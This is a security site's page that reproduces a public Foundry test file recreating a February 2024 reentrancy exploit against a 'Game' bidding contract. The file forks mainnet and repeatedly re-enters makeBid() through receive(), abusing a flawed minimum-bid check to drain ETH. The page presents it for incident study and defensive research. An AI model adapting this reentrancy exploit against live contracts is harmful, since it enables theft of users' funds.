Skip to content
THREATWIRE

Public reproduction file

src/test/2024-02/Game_exp.sol

Public reproduction file for dataset entry Game.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-02/Game_exp.sol60 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~20 ETH
8// Attacker : https://etherscan.io/address/0x145766a51ae96e69810fe76f6f68fd0e95675a0b
9// Attack Contract : https://etherscan.io/address/0x8d4de2bc1a566b266bd4b387f62c21e15474d12a
10// Vuln Contract : https://etherscan.io/address/0x52d69c67536f55efefe02941868e5e762538dbd6
11// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0x0eb8f8d148508e752d9643ccf49ac4cb0c21cbad346b5bbcf2d06974d31bd5c4
13// @Analysis
14// https://twitter.com/AnciliaInc/status/1757533144033739116
16interface IGame {
17 function newBidEtherMin() external view returns (uint256);
19 function makeBid() external payable;
22contract ContractTest is Test {
23 IGame private constant Game = IGame(0x52d69c67536f55EfEfe02941868e5e762538dBD6);
24 uint8 private reentrancyCalls;
26 function setUp() public {
27 vm.createSelectFork("mainnet", 19_213_946);
28 vm.label(address(Game), "Game");
29 }
31 function testExploit() public {
32 // Start with 0.6 Ether balance
33 deal(address(this), 0.6 ether);
34 emit log_named_decimal_uint("Exploiter ETH balance before attack", address(this).balance, 18);
36 // Following amount will be returned multiple times in receive() function when exploiter make the bad bid
37 uint256 bid = (address(this).balance * 49) / 100;
38 Game.makeBid{value: bid}();
40 makeBadBid();
42 emit log_named_decimal_uint("Exploiter ETH balance after attack", address(this).balance, 18);
43 }
45 receive() external payable {
46 if (reentrancyCalls <= 109) {
47 ++reentrancyCalls;
48 makeBadBid();
49 } else {
50 return;
51 }
52 }
54 function makeBadBid() internal {
55 // newBidEtherMin() has logic error and thanks to this exploiter can bypass the require statement in makeBid()
56 // require(msg.value > newBidEtherMin(), "bid is too low");
57 uint256 badBid = Game.newBidEtherMin() + 1; // +1 because "bid is too low"
58 Game.makeBid{value: badBid}();
59 }

Analysis

Dataset entry

Public Foundry test for “Game” (2024-02-11). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

22 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x145766a51ae96e69810fe76f6f68fd0e95675a0b

  • Attack Contract

    0x8d4de2bc1a566b266bd4b387f62c21e15474d12a

  • Attack Tx

    0x0eb8f8d148508e752d9643ccf49ac4cb0c21cbad346b5bbcf2d06974d31bd5c4

File record

Name
Game
Path
src/test/2024-02/Game_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
3267d2b41c9177619f2e67cc2cf970cd13114052
Language
Solidity
Size
61 lines
Date
2024-02-11
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-02/Game_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 3267d2b41c9177619f2e67cc2cf970cd13114052, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.